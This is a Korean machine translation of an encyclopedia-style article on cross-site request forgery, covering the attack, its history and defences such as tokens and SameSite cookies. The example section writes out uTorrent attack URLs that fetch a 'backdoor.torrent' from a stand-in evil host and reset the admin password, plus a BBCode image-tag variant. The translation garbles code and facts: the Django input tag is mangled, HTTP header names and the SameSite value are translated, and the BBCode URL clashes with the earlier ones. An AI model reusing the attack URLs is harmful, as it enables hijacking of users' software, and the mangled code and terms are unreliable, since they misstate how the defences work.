사이트 간 요청 위조

Cross-site request forgery

사이트 간 요청 위조는 원클릭 공격 또는 세션 라이딩이라고도 하며 CSRF(때로는 sea-surf[1]) 또는 XSRF로 약칭되기도 하며 웹 애플리케이션이 신뢰하는 사용자로부터 허가받지 않은 명령이 제출되는 웹사이트의 악의적인 공격의 일종이다.[2] 악의적인 웹사이트가 그러한 명령들을 전송할 수 있는 많은 방법들이 있다; 예를 들어, 특수하게 조작된 이미지 태그, 숨겨진 양식, 그리고 JavaScript XMLHtpRequests는 사용자의 상호작용이나 심지어 지식 없이도 모두 작동할 수 있다. CSRF는 특정 사이트에 대한 사용자의 신뢰를 악용하는 사이트 간 스크립팅(XSS)과 달리 사용자 브라우저에 사이트가 갖는 신뢰를 악용한다.

CSRF 공격에서 무고한 최종 사용자는 공격자에게 속아 의도하지 않은 웹 요청을 제출하게 된다. 이로 인해 의도치 않은 클라이언트 또는 서버 데이터 유출, 세션 상태 변경 또는 최종 사용자 계정 조작을 포함할 수 있는 조치가 웹사이트에서 수행될 수 있다.

CSRF라는 용어는 헤더 데이터나 폼 데이터, 쿠키를 사용하여 그러한 공격을 시험하고 방지하는 기법 등 CSRF 공격에 대한 방어에 약칭으로도 쓰인다.

특성.

CSRF 공격에서 공격자의 목표는 무고한 피해자가 자신도 모르게 악의적으로 조작된 웹 요청을 피해자가 접근할 수 있는 특권을 가진 웹사이트에 제출하게 하는 것이다. 이 웹 요청은 요청을 처리하는 웹 서버에 정상적인 것처럼 보이는 URL 매개 변수, 쿠키 및 기타 데이터를 포함하도록 만들 수 있다. 위험에는 사용자가 특정 작업을 승인하도록 요구하지 않고 신뢰할 수 있고 인증된 사용자의 입력에 따라 작업을 수행하는 웹 응용 프로그램이 있다. 사용자의 웹 브라우저에 저장된 쿠키에 의해 인증된 사용자는 자신도 모르게 사용자를 신뢰하는 사이트에 HTTP 요청을 보내 원치 않는 액션을 발생시킬 수 있다.

웹 브라우저의 일반적인 속성은 주어진 도메인에 의해 사용되는 쿠키를 해당 도메인으로 전송되는 모든 웹 요청에 자동으로 그리고 보이지 않게 포함한다는 것이다. 이 속성은 피해자가 웹사이트에 로그인할 때 만들어진 모든 쿠키(세션 쿠키 등 포함)가 브라우저에 의해 만들어지는 웹 요청에 자동으로 포함된다는 점에서 CSRF 공격에 의해 악용된다. 사용자가 브라우저를 통해 실수로 요청을 제출하도록 속이는 경우, 이러한 자동 포함된 쿠키는 위조 요청을 웹 서버에 실제처럼 보이게 하고 데이터 반환, 세션 상태 조작 또는 피해자의 계정 변경과 같은 적절한 조치를 취할 것이다..

CSRF 공격이 효과를 발휘하려면 공격자가 대상 페이지에서 계정 비밀번호 변경 등 구체적인 액션을 실행하는 재현 가능한 웹 요청을 식별해야 한다. 일단 그러한 요청이 확인되면, 이 악의적인 요청을 생성하는 링크가 생성될 수 있고, 그 링크는 공격자의 통제권 내의 페이지에 포함될 수 있다.[1][3] 이 링크는 피해자가 링크를 클릭할 필요조차 없는 방식으로 배치될 수 있다. 예를 들어, 그것은 희생자에게 보낸 이메일의 html 이미지 태그 안에 포함되어 있을 수 있으며, 희생자가 이메일을 열 때 자동으로 로드된다. 일단 피해자가 링크를 클릭하면, 그들의 브라우저는 자동으로 그 웹사이트에서 사용하는 쿠키를 포함하고 웹서버에 요청을 제출할 것이다. 웹서버는 로그인한 사용자가 요청해 필요한 쿠키를 모두 제출했기 때문에 위조를 확인할 수 없게 된다.

사이트 간 요청 위조는 웹 브라우저가 권한이 적은 공격자에 의해 위조 요청을 제출하도록 속이기 때문에 웹 브라우저에 대한 혼란스러운 대리 공격의 예다.

CSRF에는 일반적으로 다음과 같은 특징이 있다.

  • 그것은 사용자의 아이덴티티에 의존하는 사이트를 포함한다.
  • 그것은 그 정체성에 대한 사이트의 신뢰를 악용한다.
  • 그것은 사용자의 브라우저를 속여 HTTP 요청을 대상 사이트로 보내도록 한다.
  • 부작용이 있는 HTTP 요청을 수반한다.

역사

CSRF 취약성이 알려져 있으며 2001년 이후 악용된 경우도 있다.[4] 사용자의 IP 주소에서 수행되기 때문에, 일부 웹사이트 로그에는 CSRF의 증거가 없을 수 있다.[2] 악용 사례들은 최소한 공개적으로 과소 보고되고 있으며 2007년[5] 현재 잘 문서화된 예는 거의 없었다.

  • 2006년 넷플릭스 웹사이트는 CSRF에 수많은 취약성을 가지고 있어 공격자가 피해자의 대여 대기열에 DVD를 추가하거나, 계정의 배송 주소를 변경하거나, 피해자의 로그인 자격 증명을 변경하여 계정을 완전히 손상시킬 수 있었다.[6]
  • ING 다이렉트의 온라인 뱅킹 웹 애플리케이션은 불법 송금을 허용하는 CSRF 공격에 취약했다.[7]
  • 인기 동영상 사이트 유튜브도 2008년 CSRF에 취약해 공격자는 누구나 거의 모든 사용자의 작업을 수행할 수 있었다.[7]
  • McAfee Secure도 CSRF에 취약해 공격자가 회사 시스템을 변경할 수 있도록 했다. 이것은 새로운 버전에 고정되어 있다.[8]

라우터의 DNS 설정을 변경하려는 시도를 포함하여 2018년에 웹 지원 장치에 대한 새로운 공격이 수행되었다. 일부 라우터 제조업체는 보호를 개선하기 위해 서둘러 펌웨어 업데이트를 발표했으며, 사용자들에게 위험을 줄이기 위해 라우터 설정을 변경하라고 권고했다. 자세한 내용은 "확실한 보안 이유"[9]를 들어 공개되지 않았다.

예

CSRF 취약성을 설명하는 National Vulnerability Database 페이지

공격자는 피해자가 로그인한 상태에서 대상 페이지에서 특정 행동을 실행하는 재현 가능한 링크를 찾을 수 있는 공격자는 자신이 제어하는 페이지에 해당 링크를 내장하고 피해자를 속여서 열어볼 수 있다.[1] 공격 캐리어 링크는 대상 사이트에 로그인한 동안 피해자가 방문할 가능성이 있는 위치(예: 토론 포럼)에 배치하거나 HTML 이메일 본문이나 첨부파일로 보낼 수 있다. uTorrent(CVE-2008-6586)의 실제 CSRF 취약성은 localhost:8080에서 액세스할 수 있는 웹 콘솔이 다음과 같은 간단한 GET 요청을 사용하여 중요한 작업을 실행할 수 있도록 허용했다는 사실을 이용했다.

.torrent 파일 강제 다운로드
http://localhost:8080/gui/?action=add-properties&s=http://evil.example.com/backdoor.torrent
uTorrent 관리자 암호 변경
http://localhost:8080/gui/?action=setup&s=webui.password&v=messageadmin

공격은 포럼과 전자 메일 스팸에 악의적인 자동 동작 HTML 이미지 요소를 배치하여 이러한 페이지를 방문하는 브라우저가 사용자 작업 없이 자동으로 해당 요소를 열 수 있도록 함으로써 시작되었다. 이 페이지를 여는 동시에 취약한 uTorrent 버전을 운영하는 사람들은 공격에 취약했다.

이미지 태그를 사용한 CSRF 공격은 종종 인터넷 포럼에서 이루어지는데, 여기서 사용자는 예를 들어 BBCode를 사용하여 JavaScript를 사용하지 않고 이미지를 게시할 수 있다. 

[img]sns://localhost:8080/gui/?action=add-databack&s=http://evil.example.com/backdoor.torrent[/img]

로컬 uTorrent 응용프로그램에 대한 공격 링크 액세스 시 localhost:8080, 브라우저는 항상 해당 도메인의 기존 쿠키를 자동으로 전송한다. 이 웹 브라우저의 일반 속성은 CSRF 공격이 공격 당시 사용자가 대상 웹 사이트(이 예에서는 로컬 uTorrent 웹 인터페이스)에 로그인되어 있는 한, CSRF 공격이 목표 취약성을 이용하고 적대적인 행동을 실행할 수 있게 한다.

위에서 설명한 uTorrent 사례에서, uTorrent의 웹 인터페이스가 GET 요청을 중요한 상태 변경 작업(자격 증명 변경, 파일 다운로드 등)에 사용함으로써 공격이 촉진되었다. RFC2616은 명백하게 다음과 같이 단념한다.

특히 GET와 HEAD 방법은 회수 이외의 조치를 취하는 의미를 갖지 않아야 한다는 규약이 성립되었다. 이 방법들은 "안전한" 것으로 간주되어야 한다. 이를 통해 사용자 에이전트는 POST, PUT, DELETE와 같은 다른 방법을 특별한 방법으로 대표할 수 있으므로 사용자는 안전하지 않은 조치가 요청되고 있다는 사실을 인지할 수 있다.

이러한 가정 때문에, 웹 프레임워크의 많은 기존 CSRF 방지 메커니즘은 GET 요청을 다루지 않고 오히려 상태 변경을 의도하는 HTTP 방법에만 보호를 적용할 것이다.[10]

로그인 요청 위조

공격자는 공격자의 자격 증명을 사용하여 대상 웹 사이트에 피해자를 로그인하는 요청을 위조할 수 있다. 이를 로그인 CSRF라고 한다. 예를 들어, 공격자는 나중에 자신의 합법적인 자격 증명을 사용하여 사이트에 로그인하고 계정에 저장된 활동 기록과 같은 개인 정보를 볼 수 있다. 이 공격은 구글과[11] 야후에 대해 입증되었다.[12]

HTTP 동사와 CSRF

종류에 따라 HTTP 요청 방법은 CSRF 공격에 대한 민감도가 다양하다(웹 브라우저에 의한 취급의 차이로 인해). 따라서 공격에 대한 보호 조치는 HTTP 요청 방법에 따라 달라진다.

  • HTTP GET에서 CSRF 착취는 조작 매개변수를 포함하고 IMG 태그에 의해 자동으로 로드되는 간단한 하이퍼링크와 같이 위에서 설명한 방법을 사용하는 사소한 것이다. 그러나 HTTP 규격에 의해 GET는 안전한 방법, 즉 애플리케이션의 사용자 상태를 유의하게 변경하지 않는 방법으로 사용되어야 한다. 이러한 작업에 GET를 사용하는 애플리케이션은 HTTP POST로 전환하거나 안티CSRF 보호를 사용해야 한다.
  • CSRF에 대한 HTTP POST 취약성은 사용 시나리오에 따라 달라진다.
    • 쿼리 문자열로 인코딩된 데이터가 있는 POST의 가장 간단한 형태(field1=value1&field2=value2) 간단한 HTML 형태를 사용하여 CSRF 공격을 쉽게 실행하고, 반CSRF 조치를 적용해야 한다.
    • 데이터가 다른 형식(JSON, XML)으로 전송되는 경우 표준 방법은 동일본 정책(SOP)과 CORS(Cross-Origin Resource Sharing)에 의해 차단된 CSRF 공격과 함께 XMLHtpRequest를 사용하여 POST 요청을 발행하는 것이다. ENCTYPE 속성; 그러한 가짜 요청은 합법적인 요청과 구별될 수 있다. text/plain 내용 유형, 그러나 이것이 서버에 시행되지 않을 경우 CSRF를 실행할[13][14] 수 있다.
  • 다른 HTTP 방법(PUT, DELETE 등)은 XMLHtpRequest with SOP(Same-origin Policy) 및 CORS(Cross-origin Resource Sharing)를 사용하여 발급하고 CSRF(Cross-origin Resource Sharing)를 방지하는 방법만 사용할 수 있지만, 이러한 방법은 명시적으로 사용하지 않는 웹 사이트에서는 활성화되지 않는다. Access-Control-Allow-Origin: * 머리글

CSRF에 대한 기타 접근 방식

또한 일반적으로 정적 유형의 공격으로 설명되지만, Samy 웜이 입증한 사이트 간 스크립팅 공격에 대한 페이로드의 일부로 CSRF를 동적으로 구성하거나, 오프사이트 컨텐츠를 통해 유출된 세션 정보로부터 즉시 생성하여 대상에게 악의적인 URL로 전송할 수 있다. CSRF 토큰도 보낼 수 있다. 세션 고정 또는 기타 취약성으로 인해 공격자가 클라이언트를 공격하거나, 수천 건의 실패한 요청을 생성하는 악의적인 페이지에 제공된 흉포한 공격을 통해 추측할 수 있다. 세션별 위조에 클라이언트별 페이로드(payload)를 사용하는 "Dynamic CSRF"의 공격 클래스는 2009년 Nathan Hamiel과 Shawn Moyer가 BlackHat Briefings에서 기술한[15] 바 있다.[16]

오렌 오퍼가 2012년 1월 지역 OWASP 챕터 회의에서 동적 CSRF 공격의 작곡을 위한 새로운 벡터를 제시하였다 - "AJAX 해머 – 다이내믹 CSRF"[17][18]

영향들

루트 권한을[19] 가진 원격 코드 실행뿐만 아니라 루트 인증서를 손상시킬 수 있는 취약성을 초래하는 CSRF 취약성에 대해 심각도 지표가 발행되어 공개 키 인프라를 완전히 훼손할 수 있다.[20]

제한 사항

사이트 간 요청 위조가 성공하려면 다음과 같은 몇 가지 일이 발생해야 한다.

  1. 공격자는 레퍼러 헤더를 확인하지 않는 사이트나 레퍼러 스푸핑을 허용하는 브라우저나 플러그인으로 피해자를 공격 대상으로 삼아야 한다.[21]
  2. 공격자는 반드시 대상 사이트에서 양식 제출서류, 또는 부작용이 있는 URL을 찾아야 하며, 이 같은 행위를 하는 URL(예: 송금 또는 피해자의 이메일 주소나 비밀번호 변경)을 찾아야 한다.
  3. 공격자는 모든 양식 또는 URL 입력에 대해 올바른 값을 결정해야 한다. 이들 중 하나가 공격자가 추측할 수 없는 비밀 인증 값이나 ID여야 하는 경우 공격이 실패할 가능성이 가장 높다(공격자가 추측할 때 극히 운이 좋은 경우가 아니라면).
  4. 공격자는 공격 대상자가 대상 사이트에 로그인하는 동안 악성코드가 있는 웹페이지로 피해자를 유인해야 한다.

공격자는 대상 웹 사이트에서 사이트 간 스크립팅 또는 기타 버그를 이용하지 않는 한 대상 웹 사이트가 위조 요청에 대응하여 대상 웹 사이트가 피해자에게 보내는 내용을 볼 수 없다. 마찬가지로, 공격자는 링크나 양식이 유사하게 예측 가능한 경우, 초기 위조 요청 이후에 나타나는 어떤 양식이나 링크만을 대상으로 할 수 있다. (다중 목표는 한 페이지에 여러 개의 이미지를 포함하거나 클릭 사이의 지연을 도입하기 위해 자바스크립트를 사용하여 시뮬레이션할 수 있다.)

예방

대부분의 CSRF 방지 기법은 웹 애플리케이션이 허가되지 않은 위치의 요청을 탐지할 수 있는 요청에 추가 인증 데이터를 내장하는 방식으로 작동한다.

싱크로나이저 토큰 패턴

싱크로나이저 토큰 패턴(STP)은 각 요청에 대한 비밀 및 고유 값인 토큰이 웹 어플리케이션에 의해 모든 HTML 형태로 내장되어 서버 측에서 검증되는 기법이다. 토큰은 예측 불가능성과 고유성을 보장하는 모든 방법(예: 무작위 시드 해시 체인 사용)에 의해 생성될 수 있다. 따라서 공격자는 자신의 인증 요청에 올바른 토큰을 배치할 수 없다.[1][22][23]

Django가 HTML 형식으로 설정한 STP의 예: 

<< input> 타자를 치다"hidden" 이름을 붙이다"csrfmiddlewaretoken" 값어치="KByUmhTLMPY7CD2di7JKP1P3qMLkPt" />

STP는 HTML에만 의존하기 때문에 가장 호환성이 높지만, 각각의 요청에서 토큰의 유효성을 확인하는 것에 대한 부담으로 인해 서버 측에 약간의 복잡성을 야기한다. 토큰은 고유하고 예측할 수 없기 때문에 사용적합성 문제를 제기하는 적절한 이벤트 순서(예: 화면 1, 2, 3)를 시행하기도 한다(예: 사용자가 여러 탭을 여는 경우). 요청별 CSRF 토큰이 아닌 세션별 CSRF 토큰을 사용함으로써 완화가 가능하다.

쿠키 투헤더 토큰

대부분의 작업에 자바스크립트를 사용하는 웹 애플리케이션은 다음과 같은 안티CSRF 기술을 사용할 수 있다.

  • 연결된 서버 세션이 없는 초기 방문 시 웹 애플리케이션은 교차 오리진 요청 시 쿠키가 제공되지 않도록 적절한 범위를 설정한 쿠키를 설정되지 않도록 한다. 쿠키는 일반적으로 웹 세션의 수명까지 동일하게 유지될 수 있는 임의의 토큰을 포함한다.
세트-쿠키: __호스트-csrf_토큰=i8XNJC4b8KVok4uw5RftR38Wgp2BFwql, 만료=Thu, 23-Jul-2015 10:25:33 GMT, Max-Age=3149600, 경로=/; SameSite=Lax; 보안
  • 클라이언트에서 작동하는 JavaScript는 그 값을 읽고 각 트랜잭션 요청과 함께 전송된 사용자 지정 HTTP 헤더로 복사한다.
X-Csrf-토큰: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • 서버가 토큰의 존재 여부 및 무결성 확인

이 기술의 보안은 처음에 쿠키를 설정한 서버에 대한 HTTPS 연결의 클라이언트 측에서 실행되는 JavaScript만이 쿠키의 값을 읽을 수 있다는 가정에 근거한다. 로그 파일이나 전자 메일에서 실행되는 JavaScript는 사용자 지정 헤더로 복사할 쿠키 값을 성공적으로 읽을 수 없어야 한다. crsf-토큰 쿠키는 로그 요청과 함께 자동으로 전송되지만, 서버는 여전히 유효한 X-Csrf-토큰 헤더를 기대할 것이다.

CSRF 토큰 자체는 독특하고 예측 불가능해야 한다. 임의로 생성되거나 HMAC를 사용하여 세션 토큰에서 파생될 수 있음: 

crsf_token = HMAC(session_token, application_secret)

CSRF 토큰 쿠키에는 설계에 의해 자바스크립트에 의해 읽기 위한 것이므로 httpOnly 플래그가 없어야 한다.

이 기법은 짱오[24], 앵글JS와 같은 많은 현대적 프레임워크에 의해 구현된다.[25] 토큰은 전체 사용자 세션에 걸쳐 일정하게 유지되기 때문에 AJAX 응용프로그램과 잘 작동하지만 웹 응용프로그램에서 이벤트 순서를 적용하지는 않는다.

이 기법에 의해 제공되는 보호는 대상 웹사이트가 다음 기법 중 하나를 사용하여 동일한 출발지 정책을 비활성화할 경우 좌절될 수 있다.

  • clientaccesspolicy.xml 파일에 Silverlight 컨트롤에[26] 대한 의도하지 않은 액세스 허용
  • 의도하지 않은 플래시 동영상[27] 액세스를 허용하는 crossdomain.xml 파일

이중 제출 쿠키

쿠키투헤더 방식과 유사하지만, 자바스크립트를 사용하지 않고 사이트는 CSRF 토큰을 쿠키로 설정하고, 또한 각 HTML 양식의 숨겨진 필드로 삽입할 수 있다. 양식이 제출되면 사이트는 쿠키 토큰이 양식 토큰과 일치하는지 확인할 수 있다. 동일한 오리진 정책은 공격자가 대상 도메인에서 쿠키를 읽거나 설정하는 것을 방지하므로 조작된 형식으로 유효한 토큰을 넣을 수 없다.[28]

싱크로나이저 패턴에 비해 이 기법의 장점은 토큰을 서버에 저장할 필요가 없다는 것이다.

SameSite 쿠키 속성

서버가 쿠키를 설정할 때 추가 "SameSite" 속성을 포함할 수 있으며, 교차 사이트 요청에 쿠키를 첨부할 것인지 여부를 브라우저에 지시한다. 이 속성을 "강요"로 설정하면, 쿠키는 동일한 사이트 요청에 의해서만 전송되어 CSRF가 비효율적으로 된다. 그러나 이를 위해서는 브라우저가 속성을 인식하고 올바르게 구현해야 하며 쿠키에 "Secure" 플래그가 있어야 한다.[29]

고객측 안전장치

RequestPolicy(Mozilla Firefox의 경우) 또는 uMatrix(Firefox 및 Google Chrome/Chromium의 경우)와 같은 브라우저 확장은 교차 사이트 요청에 대한 기본 거부 정책을 제공하여 CSRF를 방지할 수 있다. 그러나, 이것은 많은 웹사이트의 정상적인 운영을 현저하게 방해할 수 있다. CsFire 확장자(Firefox의 경우)는 교차 사이트 요청에서 인증 정보를 제거하여 CSRF의 영향을 덜 받고 CSRF의 영향을 완화할 수 있다.

Firefox용 NoScript 확장은 신뢰할 수 없는 사이트와 신뢰할 수 없는 사이트를 구분하고 신뢰할 수 없는 사이트에 보낸 POST 요청에서 인증 및 페이로드를 제거하여 CSRF 위협을 완화한다. 또한 NoScript의 Application Boundry Executer 모듈은 인터넷 페이지에서 로컬 사이트(예: localhost)로 전송되는 요청을 차단하여 로컬 서비스(uTorrent 등)나 라우터에 대한 CSRF 공격을 방지한다.

Firefox용 자체 파괴 쿠키 확장은 CSRF로부터 직접 보호하지는 않지만, 더 이상 열린 탭과 연결되지 않는 즉시 쿠키를 삭제하여 공격 창을 줄일 수 있다.

기타 기법

CSRF 예방을 위해 역사적으로 다양한 다른 기법이 사용되거나 제안되었다.

  • 요청의 헤더에 포함된 내용이 있는지 확인하는 중 X-Requested-With (v2.0 이전 Ruby on Rails 및 v1.2.5 이전 Django에서 사용) 또는 HTTP 확인 Referer 헤더 및/또는 HTTP Origin 머리글[30] 그러나 이는 불안정하다. 브라우저 플러그인과 리디렉션을 함께 사용하면 공격자가 웹 사이트에 대한 요청에 사용자 지정 HTTP 헤더를 제공할 수 있기 때문에 위조 요청을 허용할 수 있다.[31][32]
  • HTTP 헤더를 확인하여 권한이 부여된 페이지에서 전송되는지 확인하는 것은 메모리 요구 사항을 증가시키지 않기 때문에 임베디드 네트워크 장치에 일반적으로 사용된다. 그러나, 그 요청은 제외된다. Referer 공격자가 다음을 억제할 수 있기 때문에 헤더는 허가되지 않은 것으로 취급되어야 한다. Referer FTP 또는 HTTPS URL에서 요청을 발행하여 헤더. 이 엄격함 Referer 유효성 검사를 수행하면 브라우저 또는 프록시에 문제가 발생하여 Referer 개인 정보 보호를 위한 헤더 또한 이전 버전의 플래시(9.0.18 이전)는 악의적인 플래시가 CRLF Injection을 사용하여 임의 HTTP 요청 헤더를 사용하여 GET 또는 POST 요청을 생성할 수 있도록 허용한다.[33] 클라이언트에서 유사한 CRLF 주입 취약성을 사용하여 HTTP 요청의 레퍼러를 스푸핑할 수 있다.
  • POST 요청방법은 URL의 파라미터를 이용한 사소한 CSRF 공격에 대해 한동안 면역이 되는 것으로 인식되었다(GET 방법 사용). 그러나 이제 POST와 다른 HTTP 방법 모두 XMLHtpRequest를 사용하여 쉽게 실행할 수 있다. 예상치 못한 GET 요청을 필터링하면 여전히 악의적인 이미지 URL 또는 링크 주소를 사용한 사이트 간 공격, 사이트 간 정보 유출과 같은 특정 공격을 방지한다. <script> 요소(JavaScript 가로채기); 공격적인 웹 크롤러와 링크 프리페치(prefetching)로 인한 (보안과 관련이 없는) 문제를 방지한다.[1]

XSS(사이트 간 스크립팅) 취약성(동일한 도메인에서 실행 중인 다른 응용프로그램에서도)을 통해 공격자는 본질적으로 모든 CSRF 예방 조치를 무시할 수 있다.[34]

참고 항목

참조

  1. ^ a b c d e Shiflett, Chris (December 13, 2004). "Security Corner: Cross-Site Request Forgeries". php architect (via shiflett.org). Retrieved 2008-07-03.
  2. ^ a b Ristic, Ivan (2005). Apache Security. O'Reilly Media. p. 280. ISBN 0-596-00724-8.
  3. ^ "What is CSRF (Cross-site request forgery)? Tutorial & Examples". portswigger.net. Retrieved 2019-11-04.
  4. ^ Burns, Jesse (2005). "Cross Site Request Forgery: An Introduction To A Common Web Weakness" (PDF). Information Security Partners, LLC. Retrieved 2011-12-12.
  5. ^ Christey, Steve; Martin, Robert A. (May 22, 2007). "Vulnerability Type Distributions in CVE (version 1.1)". MITRE Corporation. Retrieved 2008-06-07.
  6. ^ Washkuch Jr., Frank (October 17, 2006). "Netflix fixes cross-site request forgery hole". SC Magazine. Retrieved 2019-02-11.
  7. ^ a b William Zeller; Edward W. Felten (October 2008). "Cross-Site Request Forgeries: Exploitation and Prevention" (PDF). Retrieved 29 May 2015.
  8. ^ Mike, Bailey (2009). "CSRF: Yeah, It Still Works…" (PDF). DEFCON.
  9. ^ "Security Advisory: CSRF & DNS/DHCP/Web Attacks". Draytek. May 2018. Retrieved 18 May 2018.
  10. ^ "Cross Site Request Forgery protection Django documentation Django". docs.djangoproject.com. Retrieved 2015-08-21.
  11. ^ 아담 바스, 콜린 잭슨, 그리고 존 C. Mitchell, 사이트 간 요청 위조를 위한 강력한 방어, ACM 2008 컴퓨터 및 통신 보안에 관한 제15차 ACM 회의의 진행
  12. ^ Joseph Foulds, 수동 모니터링 로그인 요청 위조, Yahoo Archived 2014-12-22, 웨이백 머신에 보관
  13. ^ "Cross-Site Request Forgery For POST Requests With An XML Body". pentestmonkey. Retrieved September 4, 2015.
  14. ^ Sheeraj Shah (2008). "Web 2.0 Hacking Defending Ajax & Web Services" (PDF). HITB. Retrieved September 4, 2015.
  15. ^ "Security Fix - Weaponizing Web 2.0".
  16. ^ Wayback Machine에 동적 CSRF 아카이브 2010-02-13
  17. ^ Owasp.org: 이스라엘 2012/01: AJAX 해머 – CSRF 공격에 AJAX 활용
  18. ^ 다운로드 – hasc-research – hasc-research – Google 프로젝트 호스팅. Code.google.com(2013-06-17). 2014-04-12년에 검색됨
  19. ^ "Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities".
  20. ^ "Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)".
  21. ^ "Enhanced cross-site attack prevention". Espacenet. European Patent Office. Retrieved 21 November 2019.
  22. ^ "Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet". OWASP. Retrieved 2019-07-19.
  23. ^ "Valhalla Articles - Cross-Site Request Forgery: Demystified".
  24. ^ "Cross Site Request Forgery protection". Django. Archived from the original on 2015-01-20. Retrieved 2015-01-20.
  25. ^ "Cross Site Request Forgery (XSRF) Protection". AngularJS. Retrieved 2015-01-20.
  26. ^ "Making a Service Available Across Domain Boundaries".
  27. ^ Adamski, Lucas. "Cross-domain policy file usage recommendations for Flash Player - Adobe Developer Connection".
  28. ^ "Double Submit Cookie defence". OWASP.
  29. ^ "SameSite cookies". Mozilla.
  30. ^ 오리진 헤더 제안서 2016-03-08을 웨이백 머신에 보관. People.mozilla.org. 2013-07-29에 검색됨.
  31. ^ "Django 1.2.5 release notes". Django.
  32. ^ "Cross-Site Request Forgery (CSRF)". OWASP, The Open Web Application Security Project. 4 September 2012. Retrieved 11 September 2012.
  33. ^ "Secunia Advisory SA22467". Secunia. 19 October 2006. Retrieved 11 September 2012.
  34. ^ Schneider, Christian. "CSRF and same-origin XSS". Archived from the original on 2012-08-14. Retrieved 2012-04-21.

외부 링크